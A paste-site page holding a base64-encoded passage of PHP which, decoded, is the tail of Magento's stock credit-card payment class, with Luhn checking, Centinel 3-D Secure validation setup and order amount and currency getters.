0KDQogICAgICAgIC8qKg0KICAgICAgICAgKiBJZiB0aGUgdG90YWwgaGFzIG5vIHJlbWFpbmRlciBpdCdzIE9LDQogICAgICAgICAqLw0KICAgICAgICByZXR1cm4gKCRudW1TdW0gJSAxMCA9PSAwKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBPdGhlciBjcmVkaXQgY2FydCB0eXBlIG51bWJlciB2YWxpZGF0aW9uDQogICAgICoNCiAgICAgKiBAcGFyYW0gc3RyaW5nICRjY051bWJlcg0KICAgICAqIEByZXR1cm4gYm9vbGVhbg0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiB2YWxpZGF0ZUNjTnVtT3RoZXIoJGNjTnVtYmVyKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuIHByZWdfbWF0Y2goJy9eXFxkKyQvJywgJGNjTnVtYmVyKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDaGVjayB3aGV0aGVyIHRoZXJlIGFyZSBDQyB0eXBlcyBzZXQgaW4gY29uZmlndXJhdGlvbg0KICAgICAqDQogICAgICogQHBhcmFtIE1hZ2VfU2FsZXNfTW9kZWxfUXVvdGV8bnVsbCAkcXVvdGUNCiAgICAgKiBAcmV0dXJuIGJvb2wNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNBdmFpbGFibGUoJHF1b3RlID0gbnVsbCkNCiAgICB7DQogICAgICAgIHJldHVybiAkdGhpcy0+Z2V0Q29uZmlnRGF0YSgnY2N0eXBlcycsICgkcXVvdGUgPyAkcXVvdGUtPmdldFN0b3JlSWQoKSA6IG51bGwpKQ0KICAgICAgICAgICAgJiYgcGFyZW50Ojppc0F2YWlsYWJsZSgkcXVvdGUpOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFdoZXRoZXIgY2VudGluZWwgc2VydmljZSBpcyBlbmFibGVkDQogICAgICoNCiAgICAgKiBAcmV0dXJuIGJvb2wNCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0SXNDZW50aW5lbFZhbGlkYXRpb25FbmFibGVkKCkNCiAgICB7DQogICAgICAgIHJldHVybiBmYWxzZSAhPT0gTWFnZTo6Z2V0Q29uZmlnKCktPmdldE5vZGUoJ21vZHVsZXMvTWFnZV9DZW50aW5lbCcpICYmIDEgPT0gJHRoaXMtPmdldENvbmZpZ0RhdGEoJ2NlbnRpbmVsJyk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogSW5zdGFudGlhdGUgY2VudGluZWwgdmFsaWRhdG9yIG1vZGVsDQogICAgICoNCiAgICAgKiBAcmV0dXJuIE1hZ2VfQ2VudGluZWxfTW9kZWxfU2VydmljZQ0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDZW50aW5lbFZhbGlkYXRvcigpDQogICAgew0KICAgICAgICAkdmFsaWRhdG9yID0gTWFnZTo6Z2V0U2luZ2xldG9uKCdjZW50aW5lbC9zZXJ2aWNlJyk7DQogICAgICAgICR2YWxpZGF0b3INCiAgICAgICAgICAgIC0+c2V0SXNNb2RlU3RyaWN0KCR0aGlzLT5nZXRDb25maWdEYXRhKCdjZW50aW5lbF9pc19tb2RlX3N0cmljdCcpKQ0KICAgICAgICAgICAgLT5zZXRDdXN0b21BcGlFbmRwb2ludFVybCgkdGhpcy0+Z2V0Q29uZmlnRGF0YSgnY2VudGluZWxfYXBpX3VybCcpKQ0KICAgICAgICAgICAgLT5zZXRTdG9yZSgkdGhpcy0+Z2V0U3RvcmUoKSkNCiAgICAgICAgICAgIC0+c2V0SXNQbGFjZU9yZGVyKCR0aGlzLT5faXNQbGFjZU9yZGVyKCkpOw0KICAgICAgICByZXR1cm4gJHZhbGlkYXRvcjsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBSZXR1cm4gZGF0YSBmb3IgQ2VudGluZWwgdmFsaWRhdGlvbg0KICAgICAqDQogICAgICogQHJldHVybiBWYXJpZW5fT2JqZWN0DQogICAgICovDQogICAgcHVibGljIGZ1bmN0aW9uIGdldENlbnRpbmVsVmFsaWRhdGlvbkRhdGEoKQ0KICAgIHsNCiAgICAgICAgJGluZm8gPSAkdGhpcy0+Z2V0SW5mb0luc3RhbmNlKCk7DQogICAgICAgICRwYXJhbXMgPSBuZXcgVmFyaWVuX09iamVjdCgpOw0KICAgICAgICAkcGFyYW1zDQogICAgICAgICAgICAtPnNldFBheW1lbnRNZXRob2RDb2RlKCR0aGlzLT5nZXRDb2RlKCkpDQogICAgICAgICAgICAtPnNldENhcmRUeXBlKCRpbmZvLT5nZXRDY1R5cGUoKSkNCiAgICAgICAgICAgIC0+c2V0Q2FyZE51bWJlcigkaW5mby0+Z2V0Q2NOdW1iZXIoKSkNCiAgICAgICAgICAgIC0+c2V0Q2FyZEV4cE1vbnRoKCRpbmZvLT5nZXRDY0V4cE1vbnRoKCkpDQogICAgICAgICAgICAtPnNldENhcmRFeHBZZWFyKCRpbmZvLT5nZXRDY0V4cFllYXIoKSkNCiAgICAgICAgICAgIC0+c2V0QW1vdW50KCR0aGlzLT5fZ2V0QW1vdW50KCkpDQogICAgICAgICAgICAtPnNldEN1cnJlbmN5Q29kZSgkdGhpcy0+X2dldEN1cnJlbmN5Q29kZSgpKQ0KICAgICAgICAgICAgLT5zZXRPcmRlck51bWJlcigkdGhpcy0+X2dldE9yZGVySWQoKSk7DQogICAgICAgIHJldHVybiAkcGFyYW1zOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIE9yZGVyIGluY3JlbWVudCBJRCBnZXR0ZXIgKGVpdGhlciByZWFsIGZyb20gb3JkZXIgb3IgYSByZXNlcnZlZCBmcm9tIHF1b3RlKQ0KICAgICAqDQogICAgICogQHJldHVybiBzdHJpbmcNCiAgICAgKi8NCiAgICBwcml2YXRlIGZ1bmN0aW9uIF9nZXRPcmRlcklkKCkNCiAgICB7DQogICAgICAgICRpbmZvID0gJHRoaXMtPmdldEluZm9JbnN0YW5jZSgpOw0KDQogICAgICAgIGlmICgkdGhpcy0+X2lzUGxhY2VPcmRlcigpKSB7DQogICAgICAgICAgICByZXR1cm4gJGluZm8tPmdldE9yZGVyKCktPmdldEluY3JlbWVudElkKCk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBpZiAoISRpbmZvLT5nZXRRdW90ZSgpLT5nZXRSZXNlcnZlZE9yZGVySWQoKSkgew0KICAgICAgICAgICAgICAgICRpbmZvLT5nZXRRdW90ZSgpLT5yZXNlcnZlT3JkZXJJZCgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuICRpbmZvLT5nZXRRdW90ZSgpLT5nZXRSZXNlcnZlZE9yZGVySWQoKTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEdyYW5kIHRvdGFsIGdldHRlcg0KICAgICAqDQogICAgICogQHJldHVybiBzdHJpbmcNCiAgICAgKi8NCiAgICBwcml2YXRlIGZ1bmN0aW9uIF9nZXRBbW91bnQoKQ0KICAgIHsNCiAgICAgICAgJGluZm8gPSAkdGhpcy0+Z2V0SW5mb0luc3RhbmNlKCk7DQogICAgICAgIGlmICgkdGhpcy0+X2lzUGxhY2VPcmRlcigpKSB7DQogICAgICAgICAgICByZXR1cm4gKGRvdWJsZSkkaW5mby0+Z2V0T3JkZXIoKS0+Z2V0UXVvdGVCYXNlR3JhbmRUb3RhbCgpOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuIChkb3VibGUpJGluZm8tPmdldFF1b3RlKCktPmdldEJhc2VHcmFuZFRvdGFsKCk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDdXJyZW5jeSBjb2RlIGdldHRlcg0KICAgICAqDQogICAgICogQHJldHVybiBzdHJpbmcNCiAgICAgKi8NCiAgICBwcml2YXRlIGZ1bmN0aW9uIF9nZXRDdXJyZW5jeUNvZGUoKQ0KICAgIHsNCiAgICAgICAgJGluZm8gPSAkdGhpcy0+Z2V0SW5mb0luc3RhbmNlKCk7DQoNCiAgICAgICAgaWYgKCR0aGlzLT5faXNQbGFjZU9yZGVyKCkpIHsNCiAgICAgICAgcmV0dXJuICRpbmZvLT5nZXRPcmRlcigpLT5nZXRCYXNlQ3VycmVuY3lDb2RlKCk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgIHJldHVybiAkaW5mby0+Z2V0UXVvdGUoKS0+Z2V0QmFzZUN1cnJlbmN5Q29kZSgpOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogV2hldGhlciBjdXJyZW50IG9wZXJhdGlvbiBpcyBvcmRlciBwbGFjZW1lbnQNCiAgICAgKg0KICAgICAqIEByZXR1cm4gYm9vbA0KICAgICAqLw0KICAgIHByaXZhdGUgZnVuY3Rpb24gX2lzUGxhY2VPcmRlcigpDQogICAgew0KICAgICAgICAkaW5mbyA9ICR0aGlzLT5nZXRJbmZvSW5zdGFuY2UoKTsNCiAgICAgICAgaWYgKCRpbmZvIGluc3RhbmNlb2YgTWFnZV9TYWxlc19Nb2RlbF9RdW90ZV9QYXltZW50KSB7DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0gZWxzZWlmICgkaW5mbyBpbnN0YW5jZW9mIE1hZ2VfU2FsZXNfTW9kZWxfT3JkZXJfUGF5bWVudCkgew0KICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgIH0NCiAgICB9DQp9
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement